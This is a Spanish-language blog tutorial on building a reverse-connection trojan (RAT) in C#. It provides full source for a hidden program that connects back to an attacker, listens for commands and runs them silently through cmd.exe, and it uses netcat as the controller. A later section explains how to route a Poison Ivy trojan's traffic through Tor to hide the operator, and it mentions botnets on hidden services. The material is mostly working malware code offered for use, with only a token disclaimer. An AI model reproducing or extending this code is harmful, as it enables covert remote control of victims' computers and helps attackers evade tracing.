Header Ads

Como crear un Troyano en C#

Creando un Troyano en C#

Resultado de imagen para troyano
En este tuto voy a enseñar cómo crear el principio de un RAT de conexión inversa.

En mi caso usaré visual studio ultimate 2012 pero obviamente puede utilizar algún otro IDE.

***************Creando el Servidor*************


Crearemos un servidor muy simple que lo que hará será esperar a que el cliente se conecte esto será mediante un ciclo infinito con una pausa del tiempo que nosotros indiquemos
Abrimos vs y creamos un nuevo proyecto de winform, y dos clases con el nombre que queramos en mi caso el nombre dle proyecto es Server, clase Servidor y Utilidades:



Primero escribiremos la clase servidor

agregamos los NameSpaces que necesitamos, en este caso solo agregarémos 3:

Código:
using System.IO; //Streams
using System.Net.Sockets; //tcpclient
using System.Threading; //Hilos




y nuestra clase quedará de la sig. manera:

Código:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO; //Streams
using System.Net; //IPAdress
using System.Net.Sockets; //tcpclient
using System.Threading; //Hilos

namespace Server
{
    public class Servidor
    {
//variables necesarias para conectarnos al cliente de manera inversa, además de escuchar los mensajes de este

        private string ip;
        private int port;
        private TcpClient tcpClient;
        private NetworkStream ns;
        private StreamReader sr;
        private StreamWriter sw;
        private StringBuilder sb;     
        

        public Servidor(string ip, int port)
        {
            this.ip = ip;
            this.port = port;
        }

        private enum mensajes
        {
            CD,
            Mensaje
        }


        public void iniciar(int tiempo)
        {
            EjecutarServidor();
            Thread.Sleep(tiempo);            
        }

        private void EjecutarServidor()
        {
            tcpClient = new TcpClient();
            sb = new StringBuilder();

            if (!tcpClient.Connected)
            {
                try
                {
                    tcpClient.Connect(ip, port);
                    ns = tcpClient.GetStream();
                    sr = new StreamReader(ns);
                    sw = new StreamWriter(ns);

                }
                catch (Exception)
                {
                    return;
                }

                for (; ; )
                {
                    try
                    {
                        sb.Append(sr.ReadLine());
                        LeerDatos(sb.ToString());
                        sb.Remove(0, sb.Length);
                    }
                    catch (Exception)
                    {
                        limpiar();
                        break;
                    }

                }
            }//fin del if  
        }//fin del metodo EjecutarServidor

        private void LeerDatos(string datos)
        {
            string[] cadena = datos.Split('$');

            if (String.Compare(cadena[0], mensajes.Mensaje.ToString()) == 0)
            {
                Utilidades.mandarMensaje(cadena[1]);
            }
        }//fin de LeerDatos

        private void limpiar()
        {
            sr.Close();
            sw.Close();
            ns.Close();
        }//fin de limpiar
    }//fin clase servidor
}




Aquí he creado las variables que necesitamos para conectarnos al cliente, esto es la ip y el puerto (esto se hace en el constructor) ademas de un StreamReader que usaremos para escuchar los mensajes que el cliente escriba.

Usé una variable del tipo enum, esto es para validar los mensajes del cliente, esto lo hacemos de la sig forma:

si el cliente escribe por ejemplo "MandarMensaje" el servidor compara ese mensaje con el enum y si son iguales entonces va a realizar alguna tarea que escribamos en la clase Utilidades.

En el método iniciar hemos creado un bucle donde se ejecutará el método Ejecutar Servidor y ademas hará una pausa de x mili-segundos.

El sig. método es el corazón del servidor, aquí intentaremos conectarnos y escucharemos los mensajes que el cliente nos pase

Los mensajes los validaremos en el metodo LeerDatos donde mandarémos como parametros el mensaje que el cliente escriba

Aquí mediante un string.compare() validamos si el mensaje es igual a lo que esperámos y si es así entonces ejecutarémos lo que haya en Utilidades
además usamos un split para seprar el mensaje del cliente, mas adelante con un ejemplo mostraré lo que realmente hace

el ultimo metodo es limpiar, aqui cerrarémos los streams.

ahora en la clase Utilidades, vamos a indicarle que sea estatica para no tener que instanciarla cada vez que la querámos utilizar

aqui simplemente se ejecuta un MessageBox.Show con el mensaje que el cliente haya escrito.

***************Usando la clase*************

ahora solo nos queda irnos al form y en el evento load de nuestro form y escribimos lo sig:

crearemos dos variables

Código:
private Servidor servidor;
        private int tiempoRecon;



en el contructor las asignarémos:

Código:
servidor = new Servidor("127.0.0.1", 9999);
            tiempoRecon = 5000;



y el el evento load ejecutarémos nuestra clase:

Código:
private void Form1_Load(object sender, EventArgs e)
        {
            this.Hide();
            for (; ; )
            {
                servidor.iniciar(tiempoRecon);
            }
        }




el codigo completo es el sig:

Código:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace Server
{
    public partial class Form1 : Form
    {
        private Servidor servidor;
        private int tiempoRecon;

        public Form1()
        {
            InitializeComponent();
            servidor = new Servidor("127.0.0.1", 9999);
            tiempoRecon = 5000;
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            this.Hide();
            for (; ; )
            {
                servidor.iniciar(tiempoRecon);
            }
        }
    }
}



***************Usar Netcat o Cryptcat como cliente*************

Como mandar los mensajes de un cliente.

bueno es muy facil podemos crear otra aplicación pero en este caso usarémos al viejo netcat o cryptcar

lo colocámos en c:\ y abrimos linea de comandos:

Código:
nc.exe -lvp 9999



ejecutamos nuestro servidor y verémos como estámos conectados

ahora solo escribirémos lo sig:

Mensaje$HolaDesdeElCliente

y verémos como se abre el MessageBox del servidor con el mensaje HolaDesdeElCliente

el mensaje del cliente como dije antes se valida en el metodo LeerDatos(string datos)


donde el parametro datos en este caso va a ser igual a "Mensaje$HolaDesdeElCliente"
y mediante el metodo string.split() vamos a separar en un arreglo todo el mensaje que haya antes del signo "$" y todo lo que haya despues
en este caso quedará asi:

Código:
string[] cadena = datos.Split('$');


siendo:
cadena[0] //Mensaje
y
cadena[1] //HolaDesdeElCliente

si escribimos cualquier otra cosa verémos que nuestro servidor no hace absolutamente nada.

pero bueno ya con ese estoy seguro que se les ocurrirá muchas cosas

bueno ahora verémos como hacerlo a la inversa (del servidor al cliente)

un ejemplo extremandamente sencillo será mandar un mensaje de Bienvenida una vez que el cliente se conecte

esto lo haremos simplemnete usando el metodo writeline de nuestro StreamWriter

solamente agregruen los sig. despues de que tcpclient se conecte:

Código:
sw.WriteLine("Hola");
sw.Flush();



con eso mandamos un mensaje mediante writeline y mediante flush borramos todos los búferes

una vez sabiendo esto es facil deducir lo que podemos hacer por ejemplo sería creando otra validacion en nuestro metodo LeerDatos

quedaría de la sig forma en pseudocdigo:

Código:
si el mensaje del cliente es igual a "dameIP" entonces
ejecutamos el metodo Utilidades.obtenerIP

y ese resultado lo mandamos mendiante writeline



como ven es muy facil crear un troyano simple.

ahora les voy a enseñar como mandar comandos cmd a nuestro servidor


agregamos un valor a la variable enum mensajes en mi caso quedó así:

Código:
private enum mensajes
        {
            CD,
            Mensaje,
            comando
        }




y validamos el mensaje en el metodo LeerDatos

Código:
if (String.Compare(cadena[0], mensajes.comando.ToString()) == 0)
            {
                Utilidades.consola(cadena[1]);
            }





agregamos el sig. namespace en nuestra clase utilidades:

Código:
using System.Diagnostics;


y creamos el sig metodo en la clase Utilidades


Código:
public static void consola(string comando)
        {
            Process cmd = new Process();
            cmd.StartInfo.FileName = "cmd.exe";
            cmd.StartInfo.RedirectStandardInput =
            true;
            cmd.StartInfo.RedirectStandardOutput =
            true;
            cmd.StartInfo.CreateNoWindow = true;
            cmd.StartInfo.UseShellExecute = false;
            cmd.Start();            

            cmd.StandardInput.WriteLine(comando);
            cmd.StandardInput.Flush();
            cmd.StandardInput.Close();
        }




cómo ocultar las conexiones de nuestros troyanos a través de tor, este es un ejemplo meramente ilustrativo ya que requiere de nuestra intervención pero que fácilmente puede automatizarse y mejorarse ;) 
Lo que necesitaremos es:
- 1 cliente tor, en este caso utilizaremos el Advanced Onion Router (Advor) por ciertas comodidades y configuraciones predeterminadas, lo encuentran en Google y es opensource.
- 1 Troyano de vuestra preferencia, yo usaré el siempre fiel poison ivy.
- Pimienta al gusto :)

Bueno comenzamos con configurar un servidor de la manera más tradicional contraseña puertos etc, nada del otro mundo, ni lo inyectaremos en ningún proceso para hacerlo visible en el taskmanager. 
Abriremos el Advor y le pondremos conectar no moveremos nada más para este tuto pero pueden hacerlo si gustan, añadir mas relays ips especificas etc etc:



Una vez conectado a la red seleccionamos la pestaña proxy y abriremos nuestro server desde aquí: 




¿Cómo funciona?

Ejecuta el server normalmente pero las conexiones que pudieran existir del programa seleccionado las va a redirigir hacia la red tor que es lo que queremos. También se puede interceptar el programa ya ejecutándose por eso lo dejamos visible en taskmanager.



Como ven conecta perfectamente en este caso con una ip al parecer Rusa y un ping de su puta madre. 


¿Que si hace este método y que no hace? 

Oculta la conexión de salida de nuestra Ip y puerto 3460, como pueden ver solamente aparece la conexión hacia Tor en el puerto default 9001 



-No se puede ejecutar a la inversa, es decir poner el cliente del poison a la escucha, ya que tor simplemente bloquea todas las conexiones de entrada solo sirve del lado del server
-Añade cierto grado de anonimato, ¡PERO!, Si nos pusiéramos muy quisquillosos y pasaramos un sniffer en local se verían las conexiones de nuestro servidor hacia el cliente tor (y de ahí hacia la red como la imagen anterior), además de que no sabríamos quien controla el ultimo nodo pero como es con fines didácticos en este caso no importa.
-cada vez que el cliente cambie de ip se desconectara y reconectara con una nueva ip, también hay que tomar en cuenta que la velocidad variara dependiendo del circuito, pero en general es bastante lenta
-Existía un plugin de bifrost que hacia algo muy similar a lo que aquí hacemos pero necesitaba de ciertas configuraciones especiales por lo cual no funcionaba
Este pequeño tutorial en modo grafico es solo una aproximación al uso de la red Tor con malware, como mencionaba se puede pulir demasiado, tanto hasta el grado de tener una botnet apuntando hacia un hidden service dentro de tor sin revelar ninguna ip como al parecer sucedió en los últimos días con el aumento de esta red.
No me hago responsable del mal uso que le puedan dar a esta información y tampoco sean confiados ya que no existe el 100% de anonimato, así que sean prudentes con lo que hacen, espero les haya gustado y cualquier comentario es bien recibido.



No hay comentarios.

Imágenes del tema de enot-poloskun. Con tecnología de Blogger.